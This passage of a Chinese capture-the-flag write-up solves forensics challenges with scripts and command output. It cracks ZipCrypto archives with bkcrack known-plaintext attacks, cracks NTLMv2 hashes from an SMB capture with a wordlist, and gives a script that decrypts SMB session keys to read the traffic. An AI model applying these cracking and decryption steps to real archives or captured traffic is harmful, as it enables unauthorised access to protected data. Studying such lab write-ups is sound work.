break if not b64_data: print("[-] Base64 data not found.") break target_idx = 0 try: zip_bytes = base64.b64decode(b64_data) with ZipFile(io.BytesIO(zip_bytes), "r") as z: img_data = z.read("0.png") img_hash = md5(img_data).hexdigest() if img_hash in hashmap: target_idx = hashmap[img_hash] print(f"[+] Match! Index: {target_idx} (Hash: {img_hash[:6]}...)") # 保存 7.zip 用来后面明文攻击 with open(f"debug/round_{i+1}_matched_{target_idx}.zip", "wb") as f: f.write(zip_bytes) else: print(f"[-] No match for hash: {img_hash[:6]}...") except Exception as e: print(f"[-] Error processing image: {e}") break payload = str(target_idx) print(f"[>] Sending: {payload}") p.sendline(payload.encode()) try: output = p.clean(timeout=0.1) print(output.decode(errors='ignore')) except: pass cmd = b'socat -u FILE:"Bandizip(flag).zip" STDOUT' print(f"[>] Sending: {cmd}") p.sendline(cmd) print("[*] Receiving raw stream...") total_data = b"" try: while True: # 设置短超时,快速轮询 chunk = p.recv(timeout=1) if not chunk: break total_data += chunk if len(total_data) > 223000: break except Exception as e: print(f"recv error: {e}") print(f"[+] Total received: {len(total_data)} bytes") zip_header = b'\x50\x4B\x03\x04' start_idx = total_data.find(zip_header) if start_idx != -1: print(f"[+] Found ZIP header at offset: {start_idx}") real_size = 222544 clean_data = total_data[start_idx : start_idx + real_size] with open("flag_new.zip", "wb") as f: f.write(clean_data) print(f"[+] Saved 'flag_new.zip' ({len(clean_data)} bytes).") print("[*] Now verify with: bkcrack -L flag_new.zip") else: print("[-] Still no ZIP header found. Dumping all...") with open("flag_dump.bin", "wb") as f: f.write(total_data) p.close() 这下文件就对了 1 2 3 4 5 6 7 $ bkcrack -L flag_new.zip bkcrack 1.8.1 - 2025-10-25 Archive: flag_new.zip Index Encryption Compression CRC32 Uncompressed Packed size Name ----- ---------- ----------- -------- ------------ ------------ ---------------- 0 ZipCrypto Store bacedd4d 218800 218812 7.zip 1 ZipCrypto Store 83221ac1 3448 3460 data.txt 里面有 7.zip,大概率是要 7 点的那个压缩包 拿着 7:35 的图片的压缩包来 crack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ bkcrack -C .\flag_new.zip -c 7.zip -p round_10_matched_7.zip bkcrack 1.8.1 - 2025-10-25 [14:52:49] Z reduction using 218793 bytes of known plaintext 3.9 % (8631 / 218793) [14:52:50] Attack on 241 Z values at index 211131 Keys: bf431018 6033e5d1 33389c81 100.0 % (241 / 241) Found a solution. Stopping. [14:52:50] Keys bf431018 6033e5d1 33389c81 $ bkcrack -C flag_new.zip -k bf431018 6033e5d1 33389c81 -U flag_cracked.zip "Volcania" bkcrack 1.8.1 - 2025-10-25 [14:54:02] Writing unlocked archive flag_cracked.zip with password "Volcania" 100.0 % (2 / 2) Wrote unlocked archive. 得到 data.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMN@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMMHCCMMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM@@@MMMMMMMMMMMMMMMMMMMMMMMMM@MM@@@MM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@CONMMMMMMMMM MMMMMMMCCO@OCCC@@CCMMMMMM@CCHMMMMMM@CCCOMMMMNCMMMMCCOM@OQMHCOMMMMMMMMQCQ@CCC@MM@C@MMMMMMMMMCCOONMMMNHCCOMNHNMMNCCCOQMMMMQCCOMMMMMMMMM@CCOMNQCNMMCC@M@@@MMMMMMMMMHCOMMMMMMMMQCQMCC@M@@@MCCOMHOCNMMMMMMMMMMM@CCHMMMMMNHNMMMNCMMMMMMMMM MMMMMMMCCOMMMMMMNCCMMMMM@CCC@C@MMMHCCNMMMMMMNCMMMNCCOMMNCMMCCHM@CQMMHCCNMCCCNC@NC@MMMMMMMMMCCONC@M@CHCCOMCC@MMOC@MMMMM@CCQMMMMMMMMMMMMCCOMMMNC@MCC@MMMMMMMMMMMMMMCCHM@CQMMHCCNMCC@MMMMMCCOMMMNCMMMMMMMMMM@CCC@C@MMMCC@MMMNCMMMMMMMMM MMMMMMMCCOQOCQMMQCCMMMMMOCCNMHCNMMCC@QCCOMM@QHMMMNCCOHCQ@MMNCC@ONQNNCCHMMCCCMQQNCMMMMMMMMMMCCOMQOMQC@CCOMCC@MMM@QCO@MMOCHMMMMMMMMMMMMMCCO@OCQ@MMCCHCCC@MMMMMMMMMMNCC@ONQNNCCHMMCCHCCC@MCCOMQCC@MMMMMMMMMMOCCNMHCNMMCC@MMM@CH@MMMMMMM MMMMMMMCCOMMMMMMCCCMMMMHCCHQCHOC@MOC@M@CMMM@QCMMMNCCOMMMMMMMQCOMMMNCCQMMMCCCM@CHOMMMMMMMMMMCCOM@CQCNMCCQMCC@M@O@MMNC@MCCMMMMMMMMMMMMMMCCOMQC@MMMCC@MMMMMMMMMMMMMMMQCOMMMNCCQMMMCC@MMMMMCCOMMNOQMMMMMMMMMHCCHQCHOC@MCC@MMM@CH@MMMMMMM MMMMMMMCCOMMMMMMNHHM@@@OCOMMMM@CQMMHCCCCMMMMNCMMMNCCQMMMMMMM@OCNMMCCOMMMMCCCMMHC@MMMMMMMMMMCCOMMQCHMMCCQ@NH@MMQCQHCQMM@OCOCQMMMMMMMMM@CCQMMNCHMMCCNNNN@MMMMMMMMMMM@OCNMMCCOMMMMCCNNNN@MCCOMM@OQMMMMMMMMMOCOMMMM@CQ@NH@MMMNCMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@CNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOOOOOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOOOOOOOOMMMMMMMMMMMMMMMMMMMOOOOOOOOMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMOOOOOOOOMMMMMMMMMMMMMMMM@HCMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM 有点抽象,先把 M 换成空格 是 flag{pwn_misc_re_web_ai} SMB | Solved 拿到 SMB2 的数据包,先提取 NTLM https://github.com/mlgualtieri/NTLMRawUnHide 得到 NTLM 信息,拿去 hashcat username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response 1 2 3 4 rockyou::PC:5649f6b5969a9fbf:f8cb9296a5206484b1baf6bce47abe3b:0101000000000000f68d75c3fb59dc01ba30ab51dc5395c3000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800f68d75c3fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000 rockyou::PC:a230ee46968b6116:c3b172a7df39f6d1765de24170d5f387:0101000000000000ed3fabc7fb59dc01d9b1245c055f29b2000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800ed3fabc7fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000 rockyou::PC:12e83c96f85b09d7:14266416151fcfce3b420575ef030028:0101000000000000ed3fabc7fb59dc01ab5b9b0cfe9b35d0000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800ed3fabc7fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000 rockyou::PC:3822c6dbeba60ca2:4b35d5e49a18a4bf1ce0e68f591799d0:0101000000000000ed3fabc7fb59dc01c0f5befb4ddd6648000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800ed3fabc7fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000 给的数据里面直接就写了 rockyou,所以拿 rockyou 爆破一下,得到密码是 12megankirwin12 用户名:rockyou 域:PC 密码:12megankirwin12 server_challenge 5649f6b5969a9fbf a230ee46968b6116 12e83c96f85b09d7 3822c6dbeba60ca2 导出一下 sessionkey 1 2 3 4 5 6 $ tshark -n -r SMB.pcapng -Y 'ntlmssp.messagetype == 0x00000003' -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.sesskey -e smb2.sesid Protocol being registered is "Minecraft Java Edition" rockyou PC f8cb9296a5206484b1baf6bce47abe3b 83ef8765dc2621899e86744f9dd9c5c8 0x0000100000000031 rockyou PC c3b172a7df39f6d1765de24170d5f387 7d8542d2690e115789f9d07c01334ec4 0x0000100000000031 rockyou PC 14266416151fcfce3b420575ef030028 8a71c61fcb8ed0c8d011a5bf7591b0c3 0x0000100000000031 rockyou PC 4b35d5e49a18a4bf1ce0e68f591799d0 daaab95bb9461bbcf65a89a55ea09adb 0x0000100000000031 NTproofstring:sessionkey f8cb9296a5206484b1baf6bce47abe3b:83ef8765dc2621899e86744f9dd9c5c8 c3b172a7df39f6d1765de24170d5f387:7d8542d2690e115789f9d07c01334ec4 14266416151fcfce3b420575ef030028:8a71c61fcb8ed0c8d011a5bf7591b0c3 4b35d5e49a18a4bf1ce0e68f591799d0:daaab95bb9461bbcf65a89a55ea09adb 算一下 session key 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from Crypto.Cipher import ARC4 from Crypto.Hash import MD4, MD5, HMAC def get_decrypted_session_key(password: str, username: str, domain: str, ntProofStr: str, serverChallenge: str, sessionKey: str) -> str: password = password username = username domain = domain ntProofStr = ntProofStr serverChallenge = serverChallenge sessionKey = sessionKey passwordHash = MD4.new(password.encode('utf-16-le')).digest() responseKey = HMAC.new(passwordHash, (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest() keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest() decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey)) return decryptedSessionKey.hex() if __name__ == "__main__": data = [ { "password": "12megankirwin12", "username": "rockyou", "domain": "PC", "ntProofStr": "f8cb9296a5206484b1baf6bce47abe3b", "serverChallenge": "5649f6b5969a9fbf", "sessionKey": "83ef8765dc2621899e86744f9dd9c5c8" }, { "password": "12megankirwin12", "username": "rockyou", "domain": "PC", "ntProofStr": "c3b172a7df39f6d1765de24170d5f387", "serverChallenge": "a230ee46968b6116", "sessionKey": "7d8542d2690e115789f9d07c01334ec4" }, { "password": "12megankirwin12", "username": "rockyou", "domain": "PC", "ntProofStr": "14266416151fcfce3b420575ef030028", "serverChallenge": "12e83c96f85b09d7", "sessionKey": "8a71c61fcb8ed0c8d011a5bf7591b0c3" }, { "password": "12megankirwin12", "username": "rockyou", "domain": "PC", "ntProofStr": "4b35d5e49a18a4bf1ce0e68f591799d0", "serverChallenge": "3822c6dbeba60ca2", "sessionKey": "daaab95bb9461bbcf65a89a55ea09adb" }, ] for item in data: decrypted_key = get_decrypted_session_key( item["password"], item["username"], item["domain"], item["ntProofStr"], item["serverChallenge"], item["sessionKey"] ) print(f"Decrypted Session Key: {decrypted_key}") 1 2 3 4 5 $ uv run .\smb_get_session_key.py Decrypted Session Key: a5bfafdad7cb6b35947e06faa4f2504d Decrypted Session Key: c3b59105fcb305240a4b00ebdd0aa3a3 Decrypted Session Key: 9b48d9ff2ed50318770c284169f389f0 Decrypted Session Key: fa54bf67cc683198e0a035605521dae1 将导出的 session key 添加到 wireshark 里面去 注意先获取到 sessionid (直接从数据包中就能看到,在 smb.sesid) 0x0000100000000031 要转成小端序 3100000000100000 看到请求了一个 zip,直接弄出来,发现加密了,但是算法为 ZipCrypto Store 里面是 exe,exe 文件有个部分比较固定,考虑 bkcrack,用 exe 的签名部分即可 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ echo -n "0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000" | xxd -r -ps > exe_header $ bkcrack -C %5cletter.zip -c letter.exe -p .\exe_header -o 64 bkcrack 1.8.1 - 2025-10-25 [11:28:27] Z reduction using 56 bytes of known plaintext 100.0 % (56 / 56) [11:28:27] Attack on 141108 Z values at index 71 Keys: 68cc45ab 864060ce ac958caa 75.6 % (106623 / 141108) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 106623 [11:29:47] Keys 68cc45ab 864060ce ac958caa $ bkcrack -C %5cletter.zip -k 68cc45ab 864060ce ac958caa -U output.zip Volcania bkcrack 1.8.1 - 2025-10-25 [11:31:48] Writing unlocked archive output.zip with password "Volcania" 100.0 % (1 / 1) Wrote unlocked archive. 然后解压得到 exe 以下程序分析部分是队友做的 发现运行程序每次都只打印一个字符,但是直接搜 flag 搜不到,猜测是加密了运行时解密 下面有一段数据 这段数据会被转换成 String 然后在 gen_pool 通过指针传入了这个参数 看到 gen_pool 函数的定义 *(arg1 + 8) 就对应的 String 的数据地址,在 shuffle 之前存在对传入的 String 的处理,可猜测数据是在这进行了解密 可在处理完后的地方打断点,看 *(arg1 + 8) 即可看到 Flag 1 flag{N0w_U-V1ctory} ZipCracker | Solved 不懂,先给AI看一眼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 这是一个 **GNU Radio Companion (GRC)** 的流程图文件(通常后缀为 `.grc`)。 GNU Radio 是一个开源的软件无线电(SDR)开发工具包,这个文件描述了一个信号处理的流程。 ### 文件内容分析 (CTF 角度) 从代码结构来看,这个流程图正在模拟一个 **NBFM (窄带调频) 发射机**。以下是关键部分的解读: 1. **输入源 (Input):** * `blocks_wavfile_source_0`: 它尝试读取一个名为 `E:\Download\ZipCracker\password.wav` 的音频文件。 * **CTF 提示:** 这个文件名 `password.wav` 非常关键,暗示这个音频里包含了解压缩某个 ZIP 文件的密码。 2. **信号处理 (Processing):** * `analog_nbfm_tx_0`: 这是一个 NBFM 发射模块。它将输入的音频数据调制成射频信号(IQ 信号)。 * `pl_freq`: 这里还加入了一个亚音(PL Tone),虽然默认值是 0.0,但在无线电通信中常用于静噪控制。 3. **输出 (Output):** * **文件输出**: 流程图通过 `blocks_complex_to_float_0` 将生成的复数 IQ 信号拆分成实部和虚部,分别写入: * `flag1.txt` (实部/I路) * `flag2.txt` (虚部/Q路) * **网络流**: `zeromq_pub_sink_0` 将数据发送到 `tcp://127.0.0.1:49201`。 ### 这道题可能在考什么? 这道题通常有两种考法: #### 情况 A:你需要恢复密码 题目可能给了你 `flag1.txt` 和 `flag2.txt`(或者生成后的单一信号文件),你需要: 1. **合成 IQ 信号**: 将两个 txt 文件的数据合并回一个复数 IQ 信号文件(通常是 `.cfile` 或 `.raw` 格式)。 2. **解调**: 使用软件(如 GNU Radio, GQRX, 或者 Python 脚本)对这个信号进行 **NBFM 解调**。 3. **听音频**: 解调后你会得到原始的音频,播放它,听里面说出的“密码”。 4. **解压**: 用听到的密码去解压题目给的加密 ZIP 文件。 #### 情况 B:你需要运行这个脚本 如果题目给了你 `password.wav` 但它是加密的或者损坏的,或者需要你生成特定的波形来获取 Flag。 你需要安装 **GNU Radio** (Linux下常用,Windows也有),用 `gnuradio-companion` 打开这个文件。 * **注意**: 你需要修改文件路径(比如 `E:\Download\ZipCracker\...`)为你本地的实际路径,否则运行会报错。 ### 简单的解题思路 (针对情况 A) 如果你手头有生成出来的 `flag1.txt` 和 `flag2.txt`,可以使用 Python 快速还原并解调(如果你不想装庞大的 GNU Radio): 1. 读取两个文件,组合成 `I + jQ` 的复数数组。 2. 使用 `numpy` 或 `scipy` 进行 FM 解调。 3. 保存为 `.wav` 文件并收听。 或者,如果题目只是给了这个文本内容让你分析: **核心线索是:这是一个将 `password.wav` 进行 NBFM 调制并保存为 IQ 数据的脚本。你需要做的就是逆向这个过程(NBFM 解调)来听到密码。** 这是一个非常典型的无线电取证(SDR Forensics)题目。 根据 GRC 文件分析,`flag1` 和 `flag2` 分别是 **IQ 信号** 的 **I路(实部)** 和 **Q路(虚部)** 数据。 题目原始逻辑是:`音频` -> `NBFM调制` -> `IQ信号` -> `拆分保存`。 你需要做的逆向过程是:`合并IQ信号` -> `NBFM解调` -> `保存为音频` -> `听取密码`。 即使你没有安装 GNU Radio,也可以直接用 **Python** 脚本来处理这两个文件。 ### 核心参数提取(从 GRC 文件中) * **采样率 (Sample Rate):** GRC 中 `if_rate` = `usrp_rate / 3` = `576000 / 3` = **192000 Hz**。 * **数据类型:** `float` (32位浮点数)。GNU Radio 的 File Sink 默认保存的是**二进制**数据,而不是人类可读的文本。 --- ### 解题方法:使用 Python 脚本还原音频 你需要安装 python 的 `numpy` 和 `scipy` 库: ```bash pip install numpy scipy ``` 然后运行以下脚本(将脚本放在 `flag1` 和 `flag2` 同目录下): ```python import numpy as np from scipy.io import wavfile # 1. 配置参数 # 从 GRC 文件中分析得出:if_rate = 576000 / 3 SAMPLE_RATE = 192000 FILENAME_I = 'flag1.txt' # 如果题目给的文件名没有后缀,请自行修改为 'flag1' FILENAME_Q = 'flag2.txt' # 同上,修改为 'flag2' print("正在读取文件...") # 2. 读取数据 # GNU Radio 的 File Sink 默认存储为 raw binary float32 # 如果你用记事本打开全是乱码,那就是二进制;如果是数字文本,需要改用 loadtxt try: # 尝试作为二进制读取 data_i = np.fromfile(FILENAME_I, dtype=np.float32) data_q = np.fromfile(FILENAME_Q, dtype=np.float32) except FileNotFoundError: print(f"错误:找不到文件,请确认文件名是否为 {FILENAME_I} 和 {FILENAME_Q}") exit() # 确保两个文件长度一致 min_len = min(len(data_i), len(data_q)) data_i = data_i[:min_len] data_q = data_q[:min_len] # 3. 合成 IQ 复数信号 # I 是实部,Q 是虚部 iq_signal = data_i + 1j * data_q print("正在进行 NBFM 解调...") # 4. NBFM 解调 (非相干解调) # 核心原理:计算相邻采样点之间的相位差 (即频率) # result = angle( s[n] * conj(s[n-1]) ) demodulated = np.angle(iq_signal[1:] * np.conj(iq_signal[:-1])) # 5. 音频后处理 # 归一化到 -1.0 到 1.0 之间,防止爆音 demodulated = demodulated / np.max(np.abs(demodulated)) # 6. 保存为 WAV 文件 OUTPUT_FILE = 'recovered_password.wav' wavfile.write(OUTPUT_FILE, SAMPLE_RATE, demodulated.astype(np.float32)) print(f"完成!请播放 {OUTPUT_FILE} 听取密码。") ``` ### 拿到音频后怎么办? 1. **播放音频**:生成的 `recovered_password.wav` 可能会有明显的底噪(嘶嘶声),这是 NBFM 解调的特性。 2. **听取内容**: * 如果是**人声**,仔细听他在读什么(通常是英语字母或数字)。 * 如果是**“滴滴滴”**的声音,可能是摩斯电码。 * 如果是**怪异的拨号声**,可能是 DTMF 信号(可以用手机上的 DTMF 识别软件或 Audacity 分析频谱)。 3. **解压**:题目名字叫 `zipcracker`,说明这个 flag 或者是解压密码,或者是需要你根据听到的内容去构造 flag。 ### 常见问题排错 * **读取报错?** * 如果脚本运行出来的音频全是噪音,没有任何有效信息,检查一下 `flag1` 和 `flag2` 文件内容。用记事本打开,如果是**人类可读的数字**(例如 `0.1234`),则脚本中 `np.fromfile` 需要改为 `np.loadtxt`。但根据 GR 默认行为,大概率是二进制乱码。 * **语速太快/太慢?** * 修改脚本中的 `SAMPLE_RATE`。如果声音像花栗鼠,把采样率改低(比如 48000);如果声音像巨人,把采样率改高。但 192000 是根据题目计算出的理论正确值。 * **声音太小?** * 使用 Audacity 打开生成的 wav 文件,进行“放大(Amplify)”处理。 OK,用脚本处理一下,丢进 AU,很明显的摩斯电码 得到密码,解压给到的 flag.zip 好好好今天是 bkcrack 专场是吧 把 flag.txt 的明文头和尾巴拆成了两部分,放到 head.txt 和 tail.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ bkcrack -C flag.zip -c flag.txt -p head.txt -o 0 -x 25 2121217d bkcrack 1.8.1 - 2025-10-25 [15:13:59] Z reduction using 1 bytes of known plaintext 100.0 % (1 / 1) [15:13:59] Attack on 2555904 Z values at index 6 Keys: 33b19021 93c4a78d 9ceed931 13.3 % (339167 / 2555904) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 339167 [15:17:16] Keys 33b19021 93c4a78d 9ceed931 $ bkcrack -C flag.zip -k 33b19021 93c4a78d 9ceed931 -U flag-nopasswd.zip "Volcania" bkcrack 1.8.1 - 2025-10-25 [15:17:52] Writing unlocked archive flag-nopasswd.zip with password "Volcania" 100.0 % (1 / 1) Wrote unlocked archive. 得到真正的 flag 1 flag{Y0u_r_th3_Z1p_k1ng!!!!!} The_Rogue_Beacon | Solved 给了总线信号数据包 有 0x244,这个是车速信号,直接提取 0x244 最大的那个就好了,然后避开那种看起来很可疑的东西 让 AI 直接撸一个脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import hashlib import matplotlib.pyplot as plt from scapy.all import * # ================= 配置 ================= TARGET_ID = 0x244 # 目标 ID # 根据你的样本 0000001b16,有效数据在最后两个字节 BYTE_START = 3 BYTE_END = 5 # ======================================== try: from scapy.layers.can import CAN except ImportError: load_contrib('can') pcap_file = 'The Rogue Beacon.pcapng' print(f"[+] 正在读取 {pcap_file} ...") packets = rdpcap(pcap_file) indices = [] values = [] print(f"[+] 正在提取 ID {hex(TARGET_ID)} 的 Byte {BYTE_START}-{BYTE_END} 数据...") for idx, pkt in enumerate(packets, 1): if pkt.haslayer(CAN): can = pkt.getlayer(CAN) if can.identifier == TARGET_ID: data = can.data # 确保数据长度足够 if len(data) >= BYTE_END: hex_val = data[BYTE_START:BYTE_END] val = int.from_bytes(hex_val, byteorder='big') indices.append(idx) values.append(val) if not values: print("[-] 错误:没有提取到数据,请检查 ID 或 长度。") exit() # 将数据打包排序:(index, value),按 value 从大到小排 sorted_data = sorted(zip(indices, values), key=lambda x: x[1], reverse=True) print("\nTop 5 最大值候选:") print("Rank\tPacket_Index\tValue (Dec)\tValue (Hex)") print("-" * 50) for i in range(min(5, len(sorted_data))): idx, val = sorted_data[i] print(f"#{i+1}\t{idx}\t\t{val}\t\t{hex(val)}") print("-" * 50) # ================= 修改部分:自动计算 Top 1 的 Flag ================= if sorted_data: # 直接取排序后的第一个(最大值) best_idx = sorted_data[0][0] best_val = sorted_data[0][1] print(f"\n[+] 自动锁定最大值数据包: Packet #{best_idx} (Value: {best_val})") # 计算 SHA256 flag_hash = hashlib.sha256(str(best_idx).encode()).hexdigest() print(f"\n[SUCCESS] 你的 Flag 是: flag{{{flag_hash}}}") else: print("[-] 未找到数据,无法计算 Flag") # 最后再弹窗画图(关闭窗口后脚本结束) print("\n[+] 正在显示图表以供确认...") plt.figure(figsize=(12, 6)) plt.plot(indices, values, label=f"ID {hex(TARGET_ID)} (Bytes {BYTE_START}-{BYTE_END})") plt.title(f"Speed Curve Analysis - ID {hex(TARGET_ID)}") plt.xlabel("Packet Index (Frame Number)") plt.ylabel("Raw Value") plt.legend() plt.grid(True) plt.show() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 uv run .\sol.py [+] 正在读取 The Rogue Beacon.pcapng ... [+] 正在提取 ID 0x244 的 Byte 3-5 数据... Top 5 最大值候选: Rank Packet_Index Value (Dec) Value (Hex) -------------------------------------------------- #1 12149 13796 0x35e4 #2 12125 13777 0x35d1 #3 12179 13777 0x35d1 #4 12100 13759 0x35bf #5 12201 13759 0x35bf -------------------------------------------------- [+] 自动锁定最大值数据包: Packet #12149 (Value: 13796) [SUCCESS] 你的 Flag 是: flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29} [+] 正在显示图表以供确认... 得到 flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29} Whiteout | Solved 直接导入 docker 1 $ docker load -i image.tar 然后可以看到有一个 decode.py 和一个 syslog.bin 6ad10b1fede380e2db5571dfe343455d33dd1f07588368ff59ee2a9a826739a9/opt/app 里面有 decode.py d53154d4f2499c5c31fdd61d359d2a9a0b9076ac639b102bb913c752f5769cfb/opt/.data/logs 里面有 syslog.bin 直接拿出来,一个简单异或 1 2 3 4 5 6 7 KEY = 0x37 with open("syslog.bin", "rb") as f: data = f.read() decoded = bytes(b ^ KEY for b in data) print(decoded) 1 2 $ uv run .\sol.py b'flag{docker_whiteout_forensics_is_fun}' Blue 题目名字为 blue,看看蓝色通道,发现可能藏有 zip(50 4b 03 04) 有点怪怪的,说实话,不是那么集中,看样子是隔位提取 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import os RAW_PATH = "blue/blue/raw.bin" OUT_PATH 